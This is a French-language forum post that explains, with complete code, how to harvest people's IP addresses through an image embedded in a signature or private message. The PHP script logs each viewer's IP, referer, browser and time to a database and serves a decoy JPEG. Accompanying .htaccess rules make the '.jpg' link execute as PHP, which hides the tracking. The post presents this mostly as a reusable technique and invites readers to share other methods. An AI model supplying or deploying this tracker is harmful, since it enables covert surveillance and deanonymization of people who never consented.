Il y as quelques jours, un petit rageux et passé sur le forum, il voulais recuperer les ip de personnes ciblées.
Sa combine a été d'envoyer une image en MP,
Voila en gros comment il as pratiqué
Supposons que je mette dans ma signature une image du style :

On imagine maintenant que la source de cette image soit :
Code:
http://www.mon-site.com/Tuto/IP/Smoke.jpg
Maintenant supposons que en faite le lien de cette image soit :
Code:
http://www.mon-site.com/Tuto/IP/Smoke.php
et que dans mon code php, je mette quelques ligne qui me permette de recuperer tout un tas d'information et en plus de generer une image pour cacher l'attaque
Code:
< ?php
$img = 'http://users.telenet.be/tippie/weed.jpg';
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$os = $_SERVER['HTTP_USER_AGENT'];
$navigateur = $_SERVER['HTTP_USER_AGENT'];
$request_uri = $_SERVER['REQUEST_URI'];
$text2 = eregi ("U; (.*);" , $_SERVER['HTTP_USER_AGENT'] , $Resultat);
$date = date("Y-m-d");
$heure = date(" G:i:s A");
$ipm = 'Votre-ip';
if ( $ipm == $ip )
{
echo'test';
}
else
{
mysql_connect("localhost", "Login", "Mot-de-pass");
mysql_select_db("basededonnée");
mysql_query("INSERT INTO Table VALUES('', '$ip','$date','$heure','$os','$navigateur','$referer')");
mysql_close();
}
// The dummy image hack
$im_size = getimagesize($img);
$image_width = $im_size[0];
$image_height = $im_size[1];
$im = imagecreate($image_width, $image_height);
$im2 = imagecreatefromjpeg($img);
imagecopy($im, $im2, 0, 0, 0, 0, $image_width, $image_height);
imagedestroy($im2);
// Create and then destroy the image
header("Content-type: image/jpeg");
imagejpeg($im);imagedestroy($im);
? >
J'entend dire de suite ,c est pas possible , si le lien .jpg est dans mon lien c est forcement le lien d'une image.
Et bien non ,c est possible grace au .htaccess.
Un htaccess ne sert pas uniquement a proteger un repertoire, il as aussi d'autres fonctions comme par exemple changer la terminaison d'un lien par exemple.
(Ce qui revient a reecrire la requete)
voici le code du htaccess :
Code:
AddType application/x-httpd-php .jpg
RewriteEngine on
RewriteRule ^(.*)\.jpg$ $1.php [L]
Dans mon cas, le code ecrit les informations sur une base de donnée mais rien ne vous empêche d'en faire autre chose.
il as bien d'autres moyens pour recuperer une ip , vous vous auriez fait comment per exemple ?